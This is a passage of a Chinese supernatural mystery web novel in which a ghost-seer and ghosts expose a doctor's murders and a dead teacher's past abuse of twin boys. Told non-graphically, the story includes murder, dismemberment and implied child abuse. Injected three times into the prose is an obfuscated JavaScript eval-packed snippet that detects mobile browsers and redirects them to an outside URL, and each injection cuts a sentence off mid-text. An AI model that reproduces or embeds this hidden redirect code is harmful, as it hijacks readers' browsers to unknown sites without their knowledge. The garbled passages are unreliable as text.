涂蓝埙喃喃:“所以……你家别墅里有过第三个死者……现在我们知道是谁了。” 是汤光明。他和堂姐白小句一样,死于五年前那场火灾。 而之后他身体里的灵魂,很可能是10110101。 汤伟宁无法接受这个事实,“你,你乱讲吧。小光这几年身高蹿了十多厘米,模样也大了,而且还有疤,如果他的身体已经死了,烧伤怎么会愈合、增生成疤?” N在旁边笑靥晏晏,虽然汤伟宁听不见,但热情:“死人还有超生反应,还能生长头发和指甲呢,汤光明为什么不能长个?” 涂蓝埙下意识:“不过……得是刚死的时候才能……” N道:“一个灵魂刚走,另一个灵魂就进来了,而且是个大鬼,这怎么不算‘刚死’呢?再过十年也是‘刚死’的状态。” …… 回到别墅后,N稍微用了些手段,白超于第二天凌晨醒来。 白超一醒,汤伟宁和N之间的界限就被打破了,她的灵体有些虚幻,但仪态还端正,颈间一道割喉伤汩汩流血,好似系了一条红色纱巾。 “超超——”汤伟宁尖叫一声,想去抓她的手,却捞空。 白超对N微微鞠躬,“谢谢您,这位先生。”又转向涂蓝埙,“还有这位小姐。” N的存在让汤伟宁冷静下来,他随即想起自己做过的好事,嚅嚅低头沉默,眼角沁出两滴泪,要掉不掉挂在那。 汤伟宁完全被忽视掉,他只能自己抱住自己,又哭又笑。 白超是个聪明人,话题很快转向如何抓捕汤鹏安,她的意见和涂蓝埙类似:这件事没必要把涂蓝埙扯进来。 “我来写一封举报信吧。”白超说,她瞥一眼汤伟宁,眼中是难懂的情绪,“事情因我立业聚财而起,才引来豺狼忌恨,也让我来终结这一切。” 涂蓝埙觉得可行又不可行,白超写什么,写她已经被汤鹏安杀了,警方能信吗? N淡淡:“你会违反第四条约。” 什么是第四条约。涂蓝埙想,是鬼必须遵守的规则?可六年来地球上很多人死于诡异之手,“只有本土鬼要遵守条约吗?外来的诡异不用?” 白超笑看她一眼,似是有些喜欢,转而垂下目光,“我无所谓。” 经过解释,第四条约的完整句子叫:禁止主动出现在活人面前,被活人知晓其存在,并引起后续反应。 后果有点严重,总之是受到处罚,轻则重复死法一万遍,重则直接被抹杀消失。 涂蓝埙看N:“你不也违反了吗。”10110101也违反了。 N翘起二郎腿,向后靠坐,看穿她心思般微笑:“10110101有汤光明这个皮壳,公司做坏事还要追究法人吧?汤光明就是他的法人,理论上不属于鬼魂范畴所以不受管辖,没听他大伯说,还长个呢。” “那我也是你的……壳?” N愉快:“你不是,我本来都打算好之后的事了,谁知道地球世界没判定我违规,可能和咱俩之间产生的特殊联系有关。” 白超忍不住多看他俩一眼,判断关系,惹得涂蓝埙心怒,咱俩可没联系好吧! 总之,涂蓝埙不知是什么体质,反倒是把N庇护住,顺便也在第四条约下保下了乱买东西吃的白小句。 或许白超的举报信经一下涂蓝埙的手,也能规避它呢。 “虽然超姐就是最大的证据,但除此之外,咱们还得再找找别的。”涂蓝埙想着,无奈看一眼汤伟宁。 这家伙当初以为自己犯了罪,处理现场也太过干净,估计现在白超的尸块上连个指纹都难找。 汤伟宁垂着头,他的报应就是被自己藏尸的妻子正坐在对面,良久,他将自己的公文包放在桌上,发出较为沉重的一声,“这些是我从汤鹏安家拿的,可能会有用。” 他不再发表任何情绪性意见,即便众人正在做的事足以让他下岗,甚至还要进局子。但他就那样盯着自己的大腿,一声不吭。 公文包里有三盘橡皮筋捆扎在一起的磁带,一串不知名的钥匙,还有两只铁皮罐子。 钥匙串里有两把一模一样的,但贴了不同字号的胶布,可能是医院储存管控药剂的柜门钥匙。铁皮罐子则被白超一眼认出:“是气体麻醉剂,他杀我那次就用的这种东西。” 只剩磁带了,现在很少有人用这东西,他们同城网购一只二手录音机,又花了比物价更高的配送费,录音机在一小时后被送到别墅门口。 三盘磁带依次排开,第一盘最旧,后两盘较新。汤伟宁萎靡不振,白超过于虚弱没有实体,涂蓝埙完全不懂,只剩N站在那操作录音机,长指“噼啪”按动键钮。 就在这时,汤伟宁的手机忽然响了—— “喂。”他开了免提,另一边的声音是汤鹏安,对方很疲倦地笑了声,“哥?” 汤伟宁死都不愿再听“哥”这个字,在白超面前,和汤鹏安的亲属关系就是他的罪证,他捂了把脸,冷淡:“我全都知道了,你在哪?” 涂蓝埙飞速敲击手机,电脑小姐发来回复:他用的是网络拨号,账号被加密过,只能确认还在鹿城,具体IP破解需要较长时间。 汤鹏安“吃吃”笑了两声,平静中带着丝癫狂:“你全知道了?还来质问我?那你还真是……不要脸啊。哥,你没资格去报警抓我,且不说警察能不能定罪,但你没资格。” “我凭什么没资格?你杀我老婆,杀我孩子,还想杀……”这是涂蓝埙第一次见汤伟宁咆哮。 汤鹏安:“想想以前的事,你确定吗?” 汤伟宁看了眼白超,想要汲取力量,“是。” “呵呵呵……”汤鹏安很轻很轻地说:“贱人,本来好好的,都是你害得我……” 说完这句,汤鹏安就挂电话了,汤伟宁的脸色变得很苍白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292151|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他咬住下嘴唇,脱力倒回沙发中。 白超也在看他,她也不知道汤鹏安说的到底是什么事。 “好了。”在场唯一保持轻松的人是N,他还站在录音机后,放入第一盘磁带,合上盖子,笑:“我们要开始喽。” 他按下“开始”,以神秘的表情,似是热衷于扮演一位揭幕的魔术师,要惊艳座下这血淋淋的一家子……半家子观众。 磁带被齿轮带动,年头长导致音频略有失真,但好歹没卡带,一个少年的声音在读英文单词,发音清晰,很认真,一听就是好学生。 很快,另一个少年加入进来,没发育完成的少年音微微沙哑,自带一种朝气蓬勃的新鲜感。 这是汤伟宁和汤鹏安的声音。 整整一盘都是在录英文单词,播放到结尾处,汤伟宁瘫在靠背上,解释:“这是我们读中学的时候,老师会留课外作业,要练习英文发音,录给他检查。” “还没结束呢。”N微笑,将磁带换到B面,按动开始。 录音机“唰唰”响起,汤氏兄弟的回音空旷,他们应该在教室里,随后传来的尖利摩擦声证实了这点。 汤伟宁:“哎,别坐椅背上啊。” 汤鹏安:“知道了,B面录毁了,重来吧。” 但下一句,汤鹏安说:“哥你说,徐老师的补习什么时候能停啊,我不想去了,想打球。” 汤伟宁还没教训弟弟,就有第三个人声响起,男人的声音,因为距离远而模糊,只能听清句尾:“……都录完了?” “没有,徐老师。”汤鹏安的声音有些发抖,“我们还在练习,差一点。” 徐老师近了些,“有不清楚的地方吗,哪里?” “没关系……不麻烦您……” “我来教……别紧张……聊什么……” “谢谢……录音机借我们……” …… 徐老师好像不知道录音机在录制,一阵窸窣声和桌椅挪动,还有汤氏兄弟的呼吸声,最后有人摔倒了,桌椅发出巨大碰撞音,伴着徐老师的一声闷叫:“啊!” 那声音真是疼痛极了,然后是扑腾站起的声音,还有门被摔上的“咣”。 “……就该这样。”少年汤鹏安急促道。 录音机再次“咔嗒”,B面结束,将众人的思绪拉回现实。 涂蓝埙问:“徐老师怎么了?那听上去不像摔倒。” 汤伟宁的睫毛盖住眼神,声音虚空:“对,他没摔倒,是鹏安打了他一拳。” 他现在很怪,仿佛陷入回忆深处,做一场清醒的噩梦。 而更耐人寻味的是,汤鹏安为什么保留这盘磁带至今,总不能是很喜欢读英文的声音吧。 她:“哦?那徐老师最后怎么样了?他还在世吗?” “不在了。”汤伟宁说,“我们还没毕业,徐老师就死了,死于心脏病发。” 他顿了顿,像是要免去其他人的推测,直接道:“他的死亡现场,我和鹏安也在。看着他发病、挣扎,但没叫救护车也没报警。” 汤伟宁忽然扯起一边唇角,抬眼看白超:“其实,那天鹏安想喊人来着。” “是我拦住了他。” 他眼中迸射出奇异的光,泛着冷,但好像能焚烧掉一些东西,“我们是那一期徐老师最喜欢的学生,但在我和鹏安之间,他最‘爱’我。” “他死于十九年前,10月11日的凌晨一点钟。” 36. 36 汤伟宁一开始很喜欢徐老师,但只有一开始。 徐老师是学校里少有的不油腻的男老师,性格温和,而且最重要的是,他连最野最叛逆的汤鹏安都容得下。 毫无疑问,汤鹏安是刺头,还是学习很好的那一种,但由于那种又臭又硬的个性,没几个老师真的喜欢他,这让汤伟宁一度有点难受。 “哥,你干嘛老听那个徐老师的话?”汤鹏安问。 汤伟宁笑了笑,他其实对能管住汤鹏安的人都蛮服气,说:“徐老师说下午放学帮我们拍证件照,要不要一起?” 汤鹏安甩甩头,“你拍吧,明天交的时候给我一张就行。” 那个学校副楼走廊末端的小房间,被充作单身教师宿舍的那一间,后来成了汤伟宁的噩梦。 “喝茶吗,伟宁。” “来,睁开眼,笑一笑,别睡过去呀……” “换一套衣服试试呢?胳膊抬起来,抬不起来?” “没关系,老师帮你……” 整件事情最后变成一团糨糊,如果是女学生被拍了不该拍的照片,那是天大的事情。但如果是男学生呢…… 在那个年代,汤伟宁不知道怎么处理这件事,尤其是在等了四小时后,夜深如井,汤鹏安的白衬衫半挎在肩头,浑浑噩噩回到家的时候。 ——那是汤伟宁一生最大的幸运和不幸。 因为那天他们打了一个赌,“你说徐老师对你好是吧?那我冒充哥你去见他,他会不会发现?” 很长一段时间,汤伟宁的噩梦都有两个主题,那扇等不来人的家门,还有汤鹏安在另一个被窝里的啜泣。 哭到最后,噩梦中的汤鹏安会用红通通的眼睛瞧他:“哥,是你,我听见他叫的名字是你。” 但结果其实差不太多,因为他们是双胞胎,一份多种多样的桃色照片,谁又会细究到底拍的是哪个呢? 所以汤伟宁的厄运就是汤鹏安的厄运,汤鹏安遭受的事情最后也还是落在了汤伟宁身上。 面对白超和涂蓝埙的注视,汤伟宁头埋得很低,说话恍恍惚惚:“我们当时不知道怎么办,很可笑,几张看着很羞耻……但说不清具体为什么羞耻的照片,就拿捏住了我俩。” 白超良久没说话,涂蓝埙这才喧宾夺主:“那后来呢?” 后来这一切落幕于一个雨天。 徐老师一直没有婚配,他的心脏不太好,每当入秋的时候都要病一阵子,于是小长假不久后的星期三,他没有课后多留汤伟宁和汤鹏安,三人各自回家。 那天下着雨,泥腥气溅在白鞋上,汤伟宁和汤鹏安拿的是徐老师的伞,都很厌恶,汤鹏安起头要把那把伞扔进垃圾箱,他一向是兄弟中敢于做决定的那个。 但绕过一堵墙,他们看见徐老师的自行车在下水沟旁滑了一下,后者摔倒在地,半张脸没在积水坑中。 更令人高兴的是,徐老师挣扎了两下,没爬起来,手慢慢从撑地状转而捂住心口。 他看见他们了,手指爬动着伸过来,像是要隔着三四米去抓住少年泥污的白球鞋,徒劳而已。 两人中有一个忍不住向前动了下,又被另一个抓住手腕,动的那个是汤鹏安,拦他的是汤伟宁。 “走啊,哥。”汤鹏安小声说,雨越下越大,拍碎他的低语,“站这干嘛,要么扶他起来,要么咱甭管他直接回家啊。” 汤伟宁牢牢抓住汤鹏安,表情看不清楚,从牙缝里挤出颤抖的两个字:“站着。” 汤鹏安急了,“站着算怎么回事?” 汤伟宁没看弟弟,眼神死盯着还在蠕动的徐老师,重复:“站着。” 于是两人以拧巴的姿态站在那,遍体冰凉,站到雨大到打在身上有股暖意,站到徐老师不再蠕动,睁大的眼睛倒映着昏暗天光,十分钟,一眨不眨。 汤伟宁走向那具尸体,从徐老师裤腰侧面解钥匙,手抖,解不下,汤鹏安做梦般挤过来,三两下帮他扯一把,能开单身教师宿舍的那一把。 “我们半夜绕过门卫进了学校,找到那些照片,都烧了。”汤伟宁说道。 他们的噩梦在那一天结束,随着照片和徐老师一道埋入坟墓,但另一种更隐秘的噩梦开始了。 涂蓝埙看向这个柔弱的男人,他在有些时候坚韧得可怕,会做出别人做不出的事,但就那件事而言,她只想说干得漂亮。 汤伟宁苍白地笑笑:“我没想到他还会回来,已经过去快二十年了,他又找到我们了!” 10110101老鬼就是徐老师。 “他先找上的是汤鹏安,但并不满足,因为最终的围剿对象是汤伟宁你。”涂蓝埙说。 汤伟宁自我放弃地说:“可能是因为,鹏安色厉内荏,而我在某些方面更奸猾……他从来没有完全……征服过我。” 许久没说话的N忽然出声,拿出第一盘磁带,又将第二盘放进录音机,笑:“别分神,还没结束呢。” 第二盘的年头比第一盘新很多,播的音果然如此,是汤鹏安的成熟的嗓音,“买录音机回来做什么?” 他听上去有些颤抖,而后是一阵磁带的嘶鸣,像铁勺反复划磨瓷盘的声音,N好心解说:“应该是徐老师在说话,但磁带录不上。” 紧接着是汤鹏安的“独奏”,他应该在独处,或者说最好在独处,因为那些破碎的气声和挣扎声堪称恐怖,不同于任何一种暧昧的网络录影,更像噩梦时的梦呓,充满窒息和痛苦。 这种声音持续了整整一盘磁带的A面,B面也是一样的,不过是换了个时间。录音操作者大家都已知晓,徐老师还是那么热爱别人的声音记录。 磁带全部播放完毕,别墅内陷入久久的沉默,过了好一会,汤伟宁说:“鹏安他……” 他想问汤鹏安最早作恶是自愿的吗,还是被徐老师的鬼魂挟持,但看到白超的鬼魂又没出声。 N很热心,凉凉道:“徐老师和汤光明的尸体连接很紧密,说明他在借壳后才强大起来。” 换句话说,白小句的死完全是汤鹏安所为,徐老师缠上他是那之后的事情。 汤伟宁又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297392|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讷讷低下头,白超好像没看见他似的,冲涂蓝埙轻快道:“这位小姐,我要写举报信了,帮我参谋参谋?” # 次日清晨,正是早高峰人车流量最大的时候。 最近的公安分局在鸟鸣中肃立,除去岗亭值班的小王,没人看见一封白白的纸笺,飘飘忽忽地飞进了警局二楼的一扇窗,正巧落在刑侦支队的办公桌上。 小王揉了揉眼睛:“哎?” 刑侦支队一大队队长李傲刚提着包子坐下,又赶紧拎起来,“哎哎,谁的信放我这了,记得拿走,别洇了油了。” 半天没人应,李傲咬着包子翻着案卷,斜眼一瞄信封,包子差点没掉案卷上,他左右环顾,见无人注意,披着一身冷汗又看一眼,信封就仨字。 举报信。 李傲吃不下去了,完蛋,他别是卷进什么高级斗争里了,这一天天案子破不完,还尽是麻烦事。举报谁呀?藏头露尾偷偷摸摸的,交错部门了吧? 他又考虑到,自己和身边这几头蒜能有什么可举报的?去走访进了人家连杯水都不敢喝的主,举报不应该找经侦去吗,再不济找上层领导啊。 这么一想,李傲的底气足了几分,但他还是叫来上早班的老魏和小张,三个人颤颤巍巍掀开信封,里面的字纸笔迹隽秀,就是洇着一股子凉气,好像用的墨比别的淡些…… “我是三年前失踪案的失踪者白超,性别女,年龄38,身份证号XXX,户籍住址鹿城新天区山水别墅……。” 李傲有点印象,眼珠一转,和老魏对上了:“白超?是三年前失踪的那个网红博主吧,她老公是大学老师的那个。” 小张惊叫一声,挨了两道瞪视,她梗着脖子:“李队,魏哥,你们看啊,这上面写的是……” “我已经死了,凶手系鹿城第二医院主治医师汤鹏安,也是我丈夫的弟弟。三年前的7月3日,我在家被汤鹏安用其盗用的七氟烷气体迷晕,之后他对我实施了谋杀和分尸。” “五年前的同一天,我的女儿白小句被汤鹏安以同样方式迷晕,不幸葬身于蓄意纵火引起的火灾。” 老魏有点恼火:“这谁啊?搞这种恶作剧,涮人家一家子,太不是人了!” 但纸面露出的最后一句话,却让三名警察齐齐失了声。 ——“其他证据已随信件附送,我的尸体目前被藏匿于鹿城农业大学实验楼四层,食品工程与科学专业冷室西南角的一半人高麻袋中。请警方尽快前往调查。感谢。” 真正引起李傲注意的不是别的,而是纸片里夹着的钥匙,还有纸背印的一枚指纹。 白超失踪案在众多悬案中已经压了三年,如今有线索,甭管对面怀有什么目的,他都不能错过。 “老魏,查清楚这把钥匙的来源,先送去做个痕检,找人查查二院的汤鹏安什么情况。” 他的目光落在小张身上,“你在警校的时候格斗多少分?” 小张兴奋:“高着呢!” “行,现在换身衣服,跟我去一趟鹿农大!” 37. 37 涂蓝埙等人蹲守在鹿城农业大学校园外。 “来了来了,警车来了!”汤伟宁很紧张地趴在玻璃上,被涂蓝埙一把拽回去,“怕你不被带回去是不是。” 小小的银灰色捷达已经满员,两人两鬼的格局,汤伟宁这才想起来,这一环被查到藏尸是他,他即将迎来生活的地震。 汤伟宁很小声说:“小姐,我还有最后一个愿望。” 涂蓝埙已经有点习惯被这人当成阿拉丁神灯,叹息:“说。” “就快被讯问了,我想见见小句。”汤伟宁低眉顺眼。 一直没说话的白超在这时动了下,说:“我也想见。” 据N所说,一个鬼想找到另一个鬼是很不容易的,现在去公墓的确是个好路线,起码警察一时半会不会找到那边,可还有一个问题。 “超姐,你丢了什么记忆吗?”涂蓝埙问。 按道理讲,鬼魂在变成鬼魂的那一刻,会有重要的记忆留在“锚”里,白超到现在还没碰过她自己的尸体,她一定缺了部分记忆,但吊诡的是,她一直表现得很正常。 记得自己的名字和住址,也知道死因,那么白超忘了什么? “不去碰了,一块一块跟积木似的,晦气。”白超对涂蓝埙笑了笑,脸颊凹下爽朗的酒窝。 于是一行人就出发去了公墓,为给白小句一个惊喜,涂蓝埙没有提前剧透,于是当小姑娘站在墓碑旁边,看见白超和汤伟宁时,几乎一蹦蹦到树上:“妈妈!爸爸!” 她的性格明显随了白超,一头扎过来,“亲爱的母亲和父亲,我想死你们啦!” 下一秒,白小句把脑瓜从白超怀里拔出来,惊颤:“哎,妈,你怎么也死了。” 白超拍了下她的脑袋:“说话注意避讳。” 涂蓝埙和N站在一旁,将空间留给那两鬼一人,汤伟宁还在状况外,很焦虑地攥着关机的手机,这个时候应该有学校领导和警察打电话进来。 他磕磕巴巴:“小,小句号……” 白小句立马同情地看向汤伟宁,“爸,咱家就剩你一个活人啦。” 涂蓝埙把准备好的一沓纸抽往身后藏了藏,嘴角微抽,感觉应该用不上了。 # 李傲带着小张进了鹿农大,一路上,倒也没什么人看,小张刚从警校毕业不久,还是一副青春洋溢的孩子样,他俩到了实验楼里才被追上。 是校园刷脸系统,警察的权限虽然很高,但还是引起了校方注意,负责行政的老师气喘吁吁:“两位警官,请问是有什么事吗?” 李傲有点尴尬,亮了下证件,他总不能说:“我看到一封没头没尾的举报信,怀疑你们学校里藏着尸体,所以过来看看。” “噢,我们去实验楼的冷室看看。”小张神神秘秘说道,显得更可疑了,李傲忍不住别开脸,准备给队里领导打个电话,挨顿骂得了批准再去看一眼。 谁知行政老师信了,比小张更神神秘秘:“啊,我明白了,是有那个吧?” 她说的是诡异,也就是鬼,地球上闹鬼的事人人都知道,可没人见过鬼——没人见鬼后能活下来。 这就和鹿农大的校风校纪没关系了,毕竟鬼嘛,它飘到哪可不由人定,行政老师很上道,“我懂我懂,咱们动静小一点,别引起学生恐慌,影响不好。” 小张点头:“嗯嗯,我们也是这么想的,而且还没查实,就是确认一下。” 两人被行政老师领到实验楼四楼,后者还专门叫来一位食品系本专业的老师,让清了场,借口是冷室年度安检。两位老师站在楼梯口,“那个,我们就不进去了哈。” 当他们顺利站在冷室角落那只“雪山牦牛肉”胶丝袋前时,李傲戴上手套蹲下来敲了敲,眉头一紧,又拎起来掂了掂,“刨除失血,够一个成年女性的分量。” 小张“啊”了一声,拿起旁边冷冻架的小剪子就想下手,被李傲挥开。李傲不愧是多年老刑警,手指在广告贴上一拨,看见那层层叠叠的“东北大酱块”之类的贴纸时,脸色瞬间沉下来。 “给队里打电话。”他说,又回到楼梯口问学院老师,“你们冷室角落的那只胶丝袋子,放多久了?” 学院老师也是坐办公室的,嚅嚅不知,还是有路过的学生凑过来,“是汤老师的。放三年了,也不是三年,就是这三年里他总有个那样的袋子堆在那。” 李傲脸色铁青,从手机里调出汤伟宁的证件照:“是他吗?” # 来公墓的时候两人两鬼,回的时候两人三鬼,一家三口坐在后排,汤伟宁还是那副要哭不哭的表情,白超逗着白小句玩,顺便问了句,“举报应该有结果了,咱们现在怎么办?” 这段时间的监控录像已经被N解决,只要是涂蓝埙路过的监控探头,没有一只能拍到她,顺便也帮汤伟宁隐匿了行踪,也就是说,汤伟宁最后的踪迹还是几天前在山水别墅。 “人间的话,汤鹏安的罪证已经递过去了,但就凭一把钥匙,顶多定他一个盗窃违禁药品,说不准这事还能被反赖在汤伟宁身上,汤鹏安可以说是帮他哥弄的。” “阴间的话……咱们找不到徐老师,是不是得找找徐老师的锚啊?” 涂蓝埙学会举一反三了,既然锚是控制住鬼魂的根本,那么先把徐老师那祸害解决了才是正理。 汤伟宁被涂蓝埙问住,过了两秒才说:“徐老师的骨灰是海葬,早没了。” N说:“就算假定他的锚是尸体,尸体没了也会转移到其他物品上,最可能是生前常接触,或者有执念的东西。比如手机、床或者家门钥匙。” 几人想了一遍,当年汤家兄弟就读的学校已经合并了,校区都扒掉建了新的,或许在徐老师的家人那边? 电脑女鬼发来消息:徐老师是独生子,母亲和父亲在他去世后抑郁而终,今年刚过完八周年,是他家的一个表妹帮忙操办的,表妹还特意发了条微博,叹息姨妈姨夫这一家子命苦。 最重要的是,徐老师家的遗产最终的继承人就是表妹一家,表妹也姓徐,正巧在鹿城周边的乡镇当公务员。 从公墓到乡镇只需要四十分钟,今天是工作日,徐表妹正巧中午回家吃饭,她的母亲和父亲都七十多岁了,一家人午饭吃的是街边买的牛肉面。 尾随徐表妹进了小区,她家住一楼,徐表妹撩开门帘就见里面乱糟糟的,抱怨了声:“妈,这些杂物没用就扔了吧,别去捡了,多少细菌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302666|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 徐母瞪她一眼,没什么底气,“你懂啥,万一来了灾年,这些都能换口吃的。” 徐表妹四十多岁却也说不过母亲,泄气地踢了一脚废纸板山,最底下“哐啷”一声,是只铁皮饼干盒子,“哎哟,表哥这东西咋还留着,不说给姨妈家办完八周年就扔嘛。” 徐母不敢让她再翻,生怕再计较下去“宝贝”就要被扔,“那是铁的呀,值钱呢。” 趁着徐母和徐父摆碗拿筷子,徐表妹眼疾手快,将徐老师留下的铁皮盒从纸堆里拽出来,轻轻搁在门外,准备下午上班就扔掉。她嫌晦气还占地方。留着这么多年,也算尽情谊了。 牛肉面吃得三人满头冒汗,徐表妹帮忙收了碗,抹嘴往外走,门口那铁皮盒子不见了,她没当回事,想着是哪个捡垃圾的拾走了。 # 那只铁皮盒子一拿回来,汤伟宁的目光像被烫了下,“就是它,以前经常摆在他宿舍里的,放在书架上。” 盒子已经锈得看不出原样,彩漆的小熊脸颊蚀了一块褐色,像被烧伤似的,揭开盖子,里面放着一些零碎物品,针线、扣子、玩具小汽车,还有徐老师的教师证。 最下面有个小纸袋,打开是两卷胶卷,N和白超先后看过来,“就是这个。” 徐老师现在的锚就是这份胶卷。 恐怕他自己都不知道这份胶卷被保存在这。 对着阳光,还能隐约看见胶卷的颜色,涂蓝埙只瞧一眼就扔到一边,N又把那块怀表拿出来,“再看。” 有徐老师的锚,涂蓝埙眼前浮现烛火时就更加清晰,黑暗中只有一点存在感很高的烛光跳跃,果然不在鹿城市区,而在环城高速上。 汤鹏安必然也在附近,知道打不过N,他在和徐老师绕着圈子躲他们。 直接过去抓人吗?未免有些太笨。涂蓝埙和N对视一眼,N自动处理了汤伟宁的手机,按下报警电话,很快接通,另一边是报警中心的接警员。 涂蓝埙递给白超,白超对着手机说:“您好,是报警中心吗?我举报,白超杀人分尸案的嫌疑人正在环城高速7-5路段,车牌号是——” 涂蓝埙把电脑女鬼定位到的监控录像截图转过去,白超说:“车牌号是鹿A-12G53,红色坦桑牌轿车,正由西向东行驶。” 还没等接警人发问,涂蓝埙挂断电话,回头遥望鹿城市区,“现在全城警察都在抓汤伟宁,咱们只要等他们把汤鹏安当成汤伟宁抓回去就好了。” 警察出动速度很快,没过多久,趴在警局街边监控里的电脑女鬼就说:汤鹏安被带进局子了,汤光明也在,一个年轻的女警察领着他。 涂蓝埙和N立即赶往警局附近,白超也跟着,徐老师跑不掉了。 汤伟宁摸了摸白小句虚幻的手,将她推给白超,在汤鹏安被定罪之前,他最好别露头,得随便找个地方先藏起来。 车上,涂蓝埙问白小句:“刚刚你爸爸和你讲什么悄悄话啦?” 白小句笑:“爸爸问我,想不想要一个小光那样的,能长大的身体。” 涂蓝埙感觉不对,赶紧给汤伟宁打电话,他们之前约定过随时保持联系。 汤伟宁的手机关机了。 38. 38 涂蓝埙又打了一遍,汤伟宁的手机一离开他们就关机了。 正想回头去找他,可车行至警局附近,N懒懒靠在椅背,说:“徐老师出现了。” 停车位不远处,一个神色怪异的男人刚从警察局走出来,他背了只大包,双手无措地在裤腿蹭来蹭去,脸上有个鲜明的巴掌印。旁边走着一位警察,正严厉对他说着什么。 车窗摇下一道缝隙,呵斥声隐隐约约传进来:“下次坐公交车和女同志保持距离!再在这看见你,就不是批评教育这么简单了!” 出了大门四五米,男人点头哈腰的动作略微僵硬,警察继续批评:“回去好好自我反省,虽然这次是未遂,但我们会通知你的单位领导和家人,好自为之吧。” 两人散去,疑似猥亵未遂的男人朝旁快走两步,他的身体动作很不自然,手脚像刚组装上去似的,瞅了个人群的空隙鼠窜进去,却被一只手牢牢提住。 在路过群众的视角,男人只是僵在原地,实际上,N揪住他的衣领,嘴唇微扬,粲然一笑:“好久不见,徐老师这次怎么选了个乌龟王八壳。” “是因为同类相吸么?” 男人扭了两下,徐老师惊恐地发现,一股阴寒力量从N接触他的位置散遍全身,他没办法从这具新“借来”的躯壳中脱身了! 他趔趔趄趄被N朝一道窄巷拽去,路人急忙躲开,生怕被这站不稳当的怪人碰瓷。 涂蓝埙打方向盘跟上,车停在窄巷另一道口,巷内,男人已经大虾般弯在地上,N的上衣袖口挽到小臂,以冷笑招呼涂蓝埙和白超母女,再低头,又一拳结结实实打在男人脸上,“还不出来吗?” N丢开男人,从单膝俯身的姿势直起来,吹了下手套上的灰尘,这才想起来,“哦,忘给你解封了,但不抱歉。” 他寒冷地微笑,鞋尖踢了下男人的身侧,下一秒,有些虚幻的徐老师从猥亵犯体内滚出来,是真的在地上滚了两圈。徐老师还保持三十多岁的样子,白衬衫湿淋淋的,带着污泥的印迹,被N殴打到虚弱非常。 “我,我们……无冤无仇!”徐老师挣扎道,又在看到白超和白小句那一刻闭了嘴。 白超和白小句站在巷口,一步一步走过来,阳光照不亮两人的灵体,面对杀人真凶徐老师,她们面色阴白隐隐发青,双眼射出可怖的利光。 涂蓝埙这才切实感受到这二人是鬼,与生者有着彻头彻尾的区别,活人尚有起居晨昏,与这个世界紧密相关,可死人的世界只剩下阴风阵阵,以及未消解的孽债。 这世界的阳光照不暖死者,这个地方不属于已死之人。 徐老师并不太惧怕她们俩,他真正忌惮的是N,此刻怨愤尖叫:“你管什么闲事?又不是你的因果,凭什么?凭什么要来帮她们欺负我!” N抬腿用徐老师来擦鞋地,对方的脸颊抹上一道黑灰,他笑:“不凭什么,看你不爽。都是死在雨里的,就你这么贱呢。” 白超和白小句已化为青面獠牙,扑上去撕扯徐老师的灵体,对方在N的挟制下动弹不得,一片片虚幻的光被生剥下来,他惨叫打滚,声音在小巷中回荡。 “哈哈,凭什么!”徐老师的嘶吼断断续续,“凭什么他要和你这种无人在意的女人结婚!还生了这个……这个小孽种!” 白小句闻言,嘴巴张大到腮侧,像只软乎乎的守宫蜥蜴,一口狠狠咬在徐老师的手臂上,留下深见暗紫色肌肉的牙印,又“呸”地吐出来。 徐老师痛呼一声,还在谩骂:“我的!他们俩都应该……是我的东西!你们弄脏了他!哈哈……他很快……很快就彻底是我的了!” 涂蓝埙暗叫不对,迎着阴风小跑过去,对着徐老师的头踢去一脚,厉声道:“说,你对汤伟宁做什么了?” 徐老师的眼睛都被白超母女打肿了,昏沉转过脸,笑得恶心:“还是有聪明人的嘛……太迟了……他的仪式即将开始……” N的食指和拇指轻轻圈住涂蓝埙的手腕,又转瞬放开,低沉道:“是那个请鬼胎的仪式。” 徐老师癫狂:“他想要他女儿活过来?哈,哈哈哈……他只能下地狱!和我一起!” 涂蓝埙一愣,汤伟宁是那种平时唯唯诺诺,但一出格就疯出大问题的性子,徐老师的死是一次,藏尸白超又是一次,如果他真的信了徐老师的邪…… “那个请鬼胎的仪式是真的?能让白小句复活?” 徐老师露出一种令人作呕的幸福笑容:“能啊……只不过……复活的不是她……” 话音未落,徐老师的身形变得极为虚幻,好像远处有台看不见的吸尘器,正在将他抽取而走。 N直接将徐老师拎鸡似的拎起来,这次涂蓝埙没看清,只见一团暗沉沉的雨雾包裹住徐老师,含混怨恨的声音传出来:“你要干什么……你这是要我的命……” 